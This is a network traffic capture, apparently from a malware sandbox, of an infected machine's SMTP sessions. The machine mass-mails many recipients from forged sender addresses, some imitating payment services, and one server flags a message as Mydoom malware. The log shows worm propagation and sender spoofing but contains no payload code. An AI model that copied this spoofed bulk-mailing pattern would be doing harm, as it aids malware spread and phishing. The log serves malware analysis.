Oct 31, 2022 12:20:56.675316095 CET	25	50117	142.250.153.26	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. js2-20020a17090797c200b0078d9f02b452si8722655ejc.861 - gsmtp
Oct 31, 2022 12:20:56.715378046 CET	25	50103	142.250.141.27	192.168.2.5	354 Go ahead rj4-20020a17090b3e8400b00212ea9177dasi10056073pjb.30 - gsmtp
Oct 31, 2022 12:20:56.818514109 CET	25	50120	142.250.150.26	192.168.2.5	220 mx.google.com ESMTP u10-20020a2e854a000000b002772c42c05bsi3768062ljj.310 - gsmtp
Oct 31, 2022 12:20:56.818731070 CET	50120	25	192.168.2.5	142.250.150.26	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:56.875148058 CET	25	50120	142.250.150.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:56.875674963 CET	50120	25	192.168.2.5	142.250.150.26	MAIL FROM: <julie@yahoo.com>
Oct 31, 2022 12:20:56.929646015 CET	25	50120	142.250.150.26	192.168.2.5	250 2.1.0 OK u10-20020a2e854a000000b002772c42c05bsi3768062ljj.310 - gsmtp
Oct 31, 2022 12:20:56.929858923 CET	50120	25	192.168.2.5	142.250.150.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:57.073816061 CET	25	50116	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP ge13-20020a17090b0e0d00b0021330e6afdfsi7844384pjb.146 - gsmtp
Oct 31, 2022 12:20:57.085254908 CET	50116	25	192.168.2.5	74.125.200.26	HELO alt1.aspmx.l.google.com
Oct 31, 2022 12:20:57.155453920 CET	25	50120	142.250.150.26	192.168.2.5	250 2.1.5 OK u10-20020a2e854a000000b002772c42c05bsi3768062ljj.310 - gsmtp
Oct 31, 2022 12:20:57.155647993 CET	50120	25	192.168.2.5	142.250.150.26	DATA
Oct 31, 2022 12:20:57.209561110 CET	25	50120	142.250.150.26	192.168.2.5	354 Go ahead u10-20020a2e854a000000b002772c42c05bsi3768062ljj.310 - gsmtp
Oct 31, 2022 12:20:57.362483978 CET	25	50103	142.250.141.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. rj4-20020a17090b3e8400b00212ea9177dasi10056073pjb.30 - gsmtp
Oct 31, 2022 12:20:57.428668976 CET	25	50120	142.250.150.26	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. u10-20020a2e854a000000b002772c42c05bsi3768062ljj.310 - gsmtp
Oct 31, 2022 12:20:57.473342896 CET	25	50124	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP hq28-20020a1709073f1c00b00782bb167cb6si8651179ejc.80 - gsmtp
Oct 31, 2022 12:20:57.473673105 CET	50124	25	192.168.2.5	142.250.147.26	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:57.518332005 CET	25	50124	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:57.523241997 CET	50124	25	192.168.2.5	142.250.147.26	MAIL FROM: <helen@gmail.com>
Oct 31, 2022 12:20:57.564721107 CET	25	50124	142.250.147.26	192.168.2.5	250 2.1.0 OK hq28-20020a1709073f1c00b00782bb167cb6si8651179ejc.80 - gsmtp
Oct 31, 2022 12:20:57.565102100 CET	50124	25	192.168.2.5	142.250.147.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:57.620793104 CET	25	50116	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:57.624135017 CET	50116	25	192.168.2.5	74.125.200.26	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:57.749300957 CET	25	50124	142.250.147.26	192.168.2.5	250 2.1.5 OK hq28-20020a1709073f1c00b00782bb167cb6si8651179ejc.80 - gsmtp
Oct 31, 2022 12:20:57.749520063 CET	50124	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:20:57.790925980 CET	25	50124	142.250.147.26	192.168.2.5	354 Go ahead hq28-20020a1709073f1c00b00782bb167cb6si8651179ejc.80 - gsmtp
Oct 31, 2022 12:20:57.904345036 CET	25	50124	142.250.147.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. hq28-20020a1709073f1c00b00782bb167cb6si8651179ejc.80 - gsmtp
Oct 31, 2022 12:20:58.042418957 CET	25	50126	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP k8-20020a05651210c800b00492e5b0a1a4si3836611lfg.561 - gsmtp
Oct 31, 2022 12:20:58.044298887 CET	50126	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:58.101382017 CET	25	50126	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:58.101667881 CET	50126	25	192.168.2.5	142.250.150.27	MAIL FROM: <helen@gmail.com>
Oct 31, 2022 12:20:58.155893087 CET	25	50126	142.250.150.27	192.168.2.5	250 2.1.0 OK k8-20020a05651210c800b00492e5b0a1a4si3836611lfg.561 - gsmtp
Oct 31, 2022 12:20:58.157558918 CET	25	50116	74.125.200.26	192.168.2.5	250 2.1.0 OK ge13-20020a17090b0e0d00b0021330e6afdfsi7844384pjb.146 - gsmtp
Oct 31, 2022 12:20:58.157898903 CET	50126	25	192.168.2.5	142.250.150.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:58.158041000 CET	50116	25	192.168.2.5	74.125.200.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:58.373507977 CET	25	50125	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP h7-20020a17090acf0700b00212eb5485afsi8236008pju.77 - gsmtp
Oct 31, 2022 12:20:58.375288963 CET	50125	25	192.168.2.5	74.125.200.26	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:58.378902912 CET	25	50126	142.250.150.27	192.168.2.5	250 2.1.5 OK k8-20020a05651210c800b00492e5b0a1a4si3836611lfg.561 - gsmtp
Oct 31, 2022 12:20:58.386646986 CET	50126	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:20:58.440983057 CET	25	50126	142.250.150.27	192.168.2.5	354 Go ahead k8-20020a05651210c800b00492e5b0a1a4si3836611lfg.561 - gsmtp
Oct 31, 2022 12:20:58.608082056 CET	25	50126	142.250.150.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. k8-20020a05651210c800b00492e5b0a1a4si3836611lfg.561 - gsmtp
Oct 31, 2022 12:20:58.758987904 CET	25	50116	74.125.200.26	192.168.2.5	250 2.1.5 OK ge13-20020a17090b0e0d00b0021330e6afdfsi7844384pjb.146 - gsmtp
Oct 31, 2022 12:20:58.761110067 CET	25	50127	74.125.140.26	192.168.2.5	220 mx.google.com ESMTP l32-20020a05600c1d2000b003c6fb158c0esi4843649wms.162 - gsmtp
Oct 31, 2022 12:20:58.764214039 CET	50127	25	192.168.2.5	74.125.140.26	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:58.764400959 CET	50116	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:20:58.801434040 CET	25	50127	74.125.140.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:58.804101944 CET	50127	25	192.168.2.5	74.125.140.26	MAIL FROM: <helen@gmail.com>
Oct 31, 2022 12:20:58.838093996 CET	25	50127	74.125.140.26	192.168.2.5	250 2.1.0 OK l32-20020a05600c1d2000b003c6fb158c0esi4843649wms.162 - gsmtp
Oct 31, 2022 12:20:58.839306116 CET	50127	25	192.168.2.5	74.125.140.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:58.920288086 CET	25	50125	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:58.920572996 CET	50125	25	192.168.2.5	74.125.200.26	MAIL FROM: <julie@yahoo.com>
Oct 31, 2022 12:20:59.019715071 CET	25	50127	74.125.140.26	192.168.2.5	250 2.1.5 OK l32-20020a05600c1d2000b003c6fb158c0esi4843649wms.162 - gsmtp
Oct 31, 2022 12:20:59.020123959 CET	50127	25	192.168.2.5	74.125.140.26	DATA
Oct 31, 2022 12:20:59.053849936 CET	25	50127	74.125.140.26	192.168.2.5	354 Go ahead l32-20020a05600c1d2000b003c6fb158c0esi4843649wms.162 - gsmtp
Oct 31, 2022 12:20:59.159837008 CET	25	50127	74.125.140.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. l32-20020a05600c1d2000b003c6fb158c0esi4843649wms.162 - gsmtp
Oct 31, 2022 12:20:59.297450066 CET	25	50116	74.125.200.26	192.168.2.5	354 Go ahead ge13-20020a17090b0e0d00b0021330e6afdfsi7844384pjb.146 - gsmtp
Oct 31, 2022 12:20:59.463457108 CET	25	50125	74.125.200.26	192.168.2.5	250 2.1.0 OK h7-20020a17090acf0700b00212eb5485afsi8236008pju.77 - gsmtp
Oct 31, 2022 12:20:59.463773966 CET	50125	25	192.168.2.5	74.125.200.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:21:00.017811060 CET	25	50125	74.125.200.26	192.168.2.5	250 2.1.5 OK h7-20020a17090acf0700b00212eb5485afsi8236008pju.77 - gsmtp
Oct 31, 2022 12:21:00.018124104 CET	50125	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:21:00.091731071 CET	25	50128	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP a14-20020a63cd4e000000b00462a6f64703si9037797pgj.376 - gsmtp
Oct 31, 2022 12:21:00.091937065 CET	50128	25	192.168.2.5	74.125.200.26	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:21:00.561001062 CET	25	50125	74.125.200.26	192.168.2.5	354 Go ahead h7-20020a17090acf0700b00212eb5485afsi8236008pju.77 - gsmtp
Oct 31, 2022 12:21:00.630724907 CET	25	50128	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:00.630950928 CET	50128	25	192.168.2.5	74.125.200.26	MAIL FROM: <helen@gmail.com>
Oct 31, 2022 12:21:01.164434910 CET	25	50128	74.125.200.26	192.168.2.5	250 2.1.0 OK a14-20020a63cd4e000000b00462a6f64703si9037797pgj.376 - gsmtp
Oct 31, 2022 12:21:01.164690971 CET	50128	25	192.168.2.5	74.125.200.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:21:01.195472002 CET	25	50116	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. ge13-20020a17090b0e0d00b0021330e6afdfsi7844384pjb.146 - gsmtp
Oct 31, 2022 12:21:01.542350054 CET	25	49884	85.187.148.2	192.168.2.5	250 Accepted
Oct 31, 2022 12:21:01.548130989 CET	49884	25	192.168.2.5	85.187.148.2	DATA
Oct 31, 2022 12:21:01.621516943 CET	25	50130	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:21:01 -0400
Oct 31, 2022 12:21:01.651190996 CET	50130	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:21:01.703011036 CET	25	49884	85.187.148.2	192.168.2.5	354 Enter message, ending with "." on a line by itself
Oct 31, 2022 12:21:01.704210043 CET	25	50131	104.47.55.138	192.168.2.5	220 BN8NAM12FT041.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Mon, 31 Oct 2022 11:21:01 +0000
Oct 31, 2022 12:21:01.704523087 CET	50131	25	192.168.2.5	104.47.55.138	HELO alumni-caltech-edu.mail.protection.outlook.com
Oct 31, 2022 12:21:01.711539030 CET	25	50128	74.125.200.26	192.168.2.5	250 2.1.5 OK a14-20020a63cd4e000000b00462a6f64703si9037797pgj.376 - gsmtp
Oct 31, 2022 12:21:01.719664097 CET	50128	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:21:01.798085928 CET	25	50130	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:21:01.798547029 CET	50130	25	192.168.2.5	209.51.188.92	MAIL FROM: <linda@gmail.com>
Oct 31, 2022 12:21:01.810115099 CET	25	50131	104.47.55.138	192.168.2.5	250 BN8NAM12FT041.mail.protection.outlook.com Hello [102.129.143.15]
Oct 31, 2022 12:21:01.812517881 CET	50131	25	192.168.2.5	104.47.55.138	MAIL FROM: <linda@gmail.com>
Oct 31, 2022 12:21:01.918483973 CET	25	50131	104.47.55.138	192.168.2.5	250 2.1.0 Sender OK
Oct 31, 2022 12:21:01.918801069 CET	50131	25	192.168.2.5	104.47.55.138	RCPT TO: <madler@alumni.caltech.edu>
Oct 31, 2022 12:21:01.923729897 CET	25	50125	74.125.200.26	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. h7-20020a17090acf0700b00212eb5485afsi8236008pju.77 - gsmtp
Oct 31, 2022 12:21:01.942353964 CET	25	50130	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:21:01.942697048 CET	50130	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype@nongnu.org>
Oct 31, 2022 12:21:02.024966002 CET	25	50131	104.47.55.138	192.168.2.5	550 5.7.1 Service unavailable, Client host [102.129.143.15] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.15 AS(1440) [BN8NAM12FT041.eop-nam12.prod.protection.outlook.com]
Oct 31, 2022 12:21:02.253201008 CET	25	50128	74.125.200.26	192.168.2.5	354 Go ahead a14-20020a63cd4e000000b00462a6f64703si9037797pgj.376 - gsmtp
Oct 31, 2022 12:21:02.449111938 CET	25	50130	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:21:02.596522093 CET	25	50130	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:21:02.980914116 CET	25	49884	85.187.148.2	192.168.2.5	550-This message contains a virus or other harmful content 550 (Win.Malware.Mydoom-6804696-0)
Oct 31, 2022 12:21:03.136467934 CET	25	49884	85.187.148.2	192.168.2.5	421 az1-ss24.a2hosting.com lost input connection
Oct 31, 2022 12:21:03.537375927 CET	25	50128	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. a14-20020a63cd4e000000b00462a6f64703si9037797pgj.376 - gsmtp
Oct 31, 2022 12:21:05.590203047 CET	25	50133	74.125.140.27	192.168.2.5	220 mx.google.com ESMTP s8-20020a05600c384800b003c6baf9f9f0si5155532wmr.110 - gsmtp
Oct 31, 2022 12:21:05.590863943 CET	50133	25	192.168.2.5	74.125.140.27	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:21:05.628066063 CET	25	50133	74.125.140.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:05.628251076 CET	50133	25	192.168.2.5	74.125.140.27	MAIL FROM: <anna@aol.com>
Oct 31, 2022 12:21:05.662138939 CET	25	50133	74.125.140.27	192.168.2.5	250 2.1.0 OK s8-20020a05600c384800b003c6baf9f9f0si5155532wmr.110 - gsmtp
Oct 31, 2022 12:21:05.662360907 CET	50133	25	192.168.2.5	74.125.140.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:21:05.827456951 CET	25	50134	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:21:05 -0400
Oct 31, 2022 12:21:05.830905914 CET	50134	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:21:05.851161957 CET	25	50133	74.125.140.27	192.168.2.5	250 2.1.5 OK s8-20020a05600c384800b003c6baf9f9f0si5155532wmr.110 - gsmtp
Oct 31, 2022 12:21:05.851429939 CET	50133	25	192.168.2.5	74.125.140.27	DATA
Oct 31, 2022 12:21:05.887485981 CET	25	50133	74.125.140.27	192.168.2.5	354 Go ahead s8-20020a05600c384800b003c6baf9f9f0si5155532wmr.110 - gsmtp
Oct 31, 2022 12:21:05.976358891 CET	25	50134	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:21:05.976707935 CET	50134	25	192.168.2.5	209.51.188.92	MAIL FROM: <sandra@msn.com>
Oct 31, 2022 12:21:05.997601986 CET	25	50133	74.125.140.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. s8-20020a05600c384800b003c6baf9f9f0si5155532wmr.110 - gsmtp
Oct 31, 2022 12:21:06.053126097 CET	25	50135	198.252.153.129	192.168.2.5	220-mx1.riseup.net ESMTP (spam is not appreciated)
Oct 31, 2022 12:21:06.053433895 CET	50135	25	192.168.2.5	198.252.153.129	HELO mx1.riseup.net
Oct 31, 2022 12:21:06.121764898 CET	25	50134	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:21:06.122107983 CET	50134	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype-devel@nongnu.org>
Oct 31, 2022 12:21:06.235846996 CET	25	50135	198.252.153.129	192.168.2.5	250 mx1.riseup.net
Oct 31, 2022 12:21:06.236112118 CET	50135	25	192.168.2.5	198.252.153.129	MAIL FROM: <andrew@hotmail.com>
Oct 31, 2022 12:21:06.370160103 CET	25	50132	74.125.200.27	192.168.2.5	220 mx.google.com ESMTP o65-20020a17090a0a4700b002138cf12ae0si7000172pjo.117 - gsmtp
Oct 31, 2022 12:21:06.370955944 CET	50132	25	192.168.2.5	74.125.200.27	HELO alt1.aspmx.l.google.com
Oct 31, 2022 12:21:06.409090042 CET	25	50135	198.252.153.129	192.168.2.5	250 2.1.0 Ok
Oct 31, 2022 12:21:06.409343958 CET	50135	25	192.168.2.5	198.252.153.129	RCPT TO: <currojerez@riseup.net>
Oct 31, 2022 12:21:06.583579063 CET	25	50135	198.252.153.129	192.168.2.5	550 5.5.1 Protocol error
Oct 31, 2022 12:21:06.779567957 CET	25	50136	142.250.157.27	192.168.2.5	220 mx.google.com ESMTP m19-20020a63ed53000000b0044030cd2454si9230724pgk.697 - gsmtp
Oct 31, 2022 12:21:06.779824972 CET	50136	25	192.168.2.5	142.250.157.27	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:21:06.822760105 CET	25	50134	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:21:06.899221897 CET	25	50078	85.187.148.2	192.168.2.5	220-az1-ss24.a2hosting.com ESMTP Exim 4.95 #2 Mon, 31 Oct 2022 04:21:06 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 31, 2022 12:21:06.900285006 CET	50078	25	192.168.2.5	85.187.148.2	HELO gzip.org
Oct 31, 2022 12:21:06.902147055 CET	25	50132	74.125.200.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:06.902360916 CET	50132	25	192.168.2.5	74.125.200.27	MAIL FROM: <support@cyberplat.com>
Oct 31, 2022 12:21:06.968238115 CET	25	50134	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:21:07.055519104 CET	25	50078	85.187.148.2	192.168.2.5	250 az1-ss24.a2hosting.com Hello gzip.org [102.129.143.15]
Oct 31, 2022 12:21:07.055702925 CET	50078	25	192.168.2.5	85.187.148.2	MAIL FROM: <support@wmtransfer.com>
Oct 31, 2022 12:21:07.210474968 CET	25	50078	85.187.148.2	192.168.2.5	250 OK
Oct 31, 2022 12:21:07.212939024 CET	50078	25	192.168.2.5	85.187.148.2	RCPT TO: <jloup@gzip.org>
Oct 31, 2022 12:21:07.218131065 CET	25	50136	142.250.157.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:07.218411922 CET	50136	25	192.168.2.5	142.250.157.27	MAIL FROM: <anna@aol.com>
Oct 31, 2022 12:21:07.430695057 CET	25	50132	74.125.200.27	192.168.2.5	250 2.1.0 OK o65-20020a17090a0a4700b002138cf12ae0si7000172pjo.117 - gsmtp
Oct 31, 2022 12:21:07.430906057 CET	50132	25	192.168.2.5	74.125.200.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:21:07.653875113 CET	25	50136	142.250.157.27	192.168.2.5	250 2.1.0 OK m19-20020a63ed53000000b0044030cd2454si9230724pgk.697 - gsmtp
Oct 31, 2022 12:21:07.656452894 CET	50136	25	192.168.2.5	142.250.157.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:21:08.024158955 CET	25	50132	74.125.200.27	192.168.2.5	250 2.1.5 OK o65-20020a17090a0a4700b002138cf12ae0si7000172pjo.117 - gsmtp
Oct 31, 2022 12:21:08.024413109 CET	50132	25	192.168.2.5	74.125.200.27	DATA
Oct 31, 2022 12:21:08.111762047 CET	25	50136	142.250.157.27	192.168.2.5	250 2.1.5 OK m19-20020a63ed53000000b0044030cd2454si9230724pgk.697 - gsmtp
Oct 31, 2022 12:21:08.122690916 CET	50136	25	192.168.2.5	142.250.157.27	DATA
Oct 31, 2022 12:21:08.552701950 CET	25	50132	74.125.200.27	192.168.2.5	354 Go ahead o65-20020a17090a0a4700b002138cf12ae0si7000172pjo.117 - gsmtp
Oct 31, 2022 12:21:08.558363914 CET	25	50136	142.250.157.27	192.168.2.5	354 Go ahead m19-20020a63ed53000000b0044030cd2454si9230724pgk.697 - gsmtp
Oct 31, 2022 12:21:09.656723022 CET	25	50136	142.250.157.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. m19-20020a63ed53000000b0044030cd2454si9230724pgk.697 - gsmtp
Oct 31, 2022 12:21:09.734972954 CET	25	50137	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP f20-20020a0564021e9400b004637e16cf97si1947392edf.597 - gsmtp
Oct 31, 2022 12:21:09.778419018 CET	50137	25	192.168.2.5	142.250.153.27	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:21:09.807599068 CET	25	50137	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:09.807770014 CET	50137	25	192.168.2.5	142.250.153.27	MAIL FROM: <anna@aol.com>
Oct 31, 2022 12:21:09.807854891 CET	25	50138	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP a6-20020a195f46000000b0049ff976d9casi3625475lfj.36 - gsmtp
Oct 31, 2022 12:21:09.807996035 CET	50138	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:21:09.834909916 CET	25	50137	142.250.153.27	192.168.2.5	250 2.1.0 OK f20-20020a0564021e9400b004637e16cf97si1947392edf.597 - gsmtp
Oct 31, 2022 12:21:09.835052013 CET	50137	25	192.168.2.5	142.250.153.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:21:09.842477083 CET	25	50139	217.69.139.150	192.168.2.5	220 mxs.mail.ru ESMTP ready
Oct 31, 2022 12:21:09.865078926 CET	25	50138	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:09.891949892 CET	50139	25	192.168.2.5	217.69.139.150	HELO mxs.mail.ru
Oct 31, 2022 12:21:09.892102957 CET	50138	25	192.168.2.5	142.250.150.27	MAIL FROM: <admin@bigtits.com>
Oct 31, 2022 12:21:09.946897030 CET	25	50138	142.250.150.27	192.168.2.5	250 2.1.0 OK a6-20020a195f46000000b0049ff976d9casi3625475lfj.36 - gsmtp
Oct 31, 2022 12:21:09.947922945 CET	25	50139	217.69.139.150	192.168.2.5	250 mxs.mail.ru
Oct 31, 2022 12:21:09.987492085 CET	50138	25	192.168.2.5	142.250.150.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:21:09.987653971 CET	50139	25	192.168.2.5	217.69.139.150	MAIL FROM: <Natasha@pochta.ru>
Oct 31, 2022 12:21:10.006131887 CET	25	50137	142.250.153.27	192.168.2.5	250 2.1.5 OK f20-20020a0564021e9400b004637e16cf97si1947392edf.597 - gsmtp
Oct 31, 2022 12:21:10.006335974 CET	50137	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:21:10.033448935 CET	25	50137	142.250.153.27	192.168.2.5	354 Go ahead f20-20020a0564021e9400b004637e16cf97si1947392edf.597 - gsmtp
Oct 31, 2022 12:21:10.043386936 CET	25	50139	217.69.139.150	192.168.2.5	250 2.0.0 OK
Oct 31, 2022 12:21:10.209712029 CET	25	50138	142.250.150.27	192.168.2.5	250 2.1.5 OK a6-20020a195f46000000b0049ff976d9casi3625475lfj.36 - gsmtp
Oct 31, 2022 12:21:10.240159988 CET	25	50132	74.125.200.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. o65-20020a17090a0a4700b002138cf12ae0si7000172pjo.117 - gsmtp
Oct 31, 2022 12:21:10.745134115 CET	50139	25	192.168.2.5	217.69.139.150	RCPT TO: <lastguru@mail.ru>
Oct 31, 2022 12:21:10.745183945 CET	50138	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:21:10.800021887 CET	25	50138	142.250.150.27	192.168.2.5	354 Go ahead a6-20020a195f46000000b0049ff976d9casi3625475lfj.36 - gsmtp
Oct 31, 2022 12:21:10.801552057 CET	25	50139	217.69.139.150	192.168.2.5	250 Go ahead
Oct 31, 2022 12:21:10.807019949 CET	25	50137	142.250.153.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. f20-20020a0564021e9400b004637e16cf97si1947392edf.597 - gsmtp
Oct 31, 2022 12:21:10.811259031 CET	50139	25	192.168.2.5	217.69.139.150	DATA
Oct 31, 2022 12:21:10.867742062 CET	25	50139	217.69.139.150	192.168.2.5	354 Go ahead. End your data with <CR><LF>.<CR><LF>
Oct 31, 2022 12:21:11.076885939 CET	25	50141	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP f20-20020a056402195400b00459c1e64776si7194075edz.412 - gsmtp
Oct 31, 2022 12:21:11.077935934 CET	50141	25	192.168.2.5	142.250.147.26	HELO aspmx3.googlemail.com
Oct 31, 2022 12:21:11.114325047 CET	25	50140	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP u10-20020a056512128a00b00492f6ddba55si4878985lfs.476 - gsmtp
Oct 31, 2022 12:21:11.114542007 CET	50140	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:21:11.120825052 CET	25	50141	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:11.121063948 CET	50141	25	192.168.2.5	142.250.147.26	MAIL FROM: <support@cyberplat.com>
Oct 31, 2022 12:21:11.161591053 CET	25	50141	142.250.147.26	192.168.2.5	250 2.1.0 OK f20-20020a056402195400b00459c1e64776si7194075edz.412 - gsmtp
Oct 31, 2022 12:21:11.171144962 CET	25	50140	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:11.174271107 CET	50141	25	192.168.2.5	142.250.147.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:21:11.174304962 CET	50140	25	192.168.2.5	142.250.150.27	MAIL FROM: <anna@aol.com>
Oct 31, 2022 12:21:11.224965096 CET	25	50139	217.69.139.150	192.168.2.5	550 5.7.1 This message was not accepted due to domain (pochta.ru) owner DMARC policy (RFC 7489) https://help.mail.ru/mail-help/postmaster/dmarc
Oct 31, 2022 12:21:11.229540110 CET	25	50140	142.250.150.27	192.168.2.5	250 2.1.0 OK u10-20020a056512128a00b00492f6ddba55si4878985lfs.476 - gsmtp
Oct 31, 2022 12:21:11.229778051 CET	50140	25	192.168.2.5	142.250.150.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:21:11.331679106 CET	25	50141	142.250.147.26	192.168.2.5	250 2.1.5 OK f20-20020a056402195400b00459c1e64776si7194075edz.412 - gsmtp
Oct 31, 2022 12:21:11.453380108 CET	25	50140	142.250.150.27	192.168.2.5	250 2.1.5 OK u10-20020a056512128a00b00492f6ddba55si4878985lfs.476 - gsmtp
